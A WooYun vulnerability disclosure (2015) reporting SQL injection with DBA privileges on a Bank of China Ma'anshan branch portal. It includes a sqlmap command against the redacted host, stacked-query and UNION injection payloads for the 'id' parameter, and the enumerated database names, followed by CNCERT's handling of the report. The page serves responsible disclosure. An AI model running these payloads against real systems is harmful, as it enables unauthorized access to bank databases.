当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159043

漏洞标题:中国银行马鞍山分行SQL注入(DBA权限)

相关厂商:中国银行马鞍山分行

漏洞作者: xyntax

提交时间:2015-12-08 23:12

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-08: 细节已通知厂商并且等待厂商处理中
2015-12-11: 厂商已经确认,细节仅向厂商公开
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

rt

详细说明:

xy@kali:~$ sudo sqlmap -u "**.**.**.**:8112//ctop/portal/portal_info.jsp?id=1" --dbs
sudo:/etc/sudoers.d/fruitywifi 属于用户 ID 1000,应为 0
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150922}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:28:06
[15:28:07] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:28:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=1;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(69)+CHAR(120)+CHAR(97)+CHAR(117)+CHAR(106)+CHAR(101)+CHAR(89)+CHAR(108)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113),NULL,NULL,NULL--
---
[15:28:07] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[15:28:07] [INFO] fetching database names
[15:28:07] [INFO] the SQL query used returns 7 entries
[15:28:07] [INFO] resumed: coa
[15:28:07] [INFO] resumed: master
[15:28:07] [INFO] resumed: model
[15:28:07] [INFO] resumed: msdb
[15:28:07] [INFO] resumed: Northwind
[15:28:07] [INFO] resumed: pubs
[15:28:07] [INFO] resumed: tempdb
available databases [7]:
[*] coa
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb

漏洞证明:

2015-12-07 15:27:29屏幕截图.png


2015-12-07 15:28:15屏幕截图.png


2015-12-07 15:25:55屏幕截图.png

修复方案:

补丁

版权声明:转载请注明来源 xyntax@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-11 15:34

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT直接通报给对应银行集团公司,并抄报安徽分中心协助处置,由其后续协调网站管理部门处置.

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-09 13:37 | Juemo ( 路人 | Rank:19 漏洞数:3 | Changing)

    中国银行马鞍山分行?山寨的吧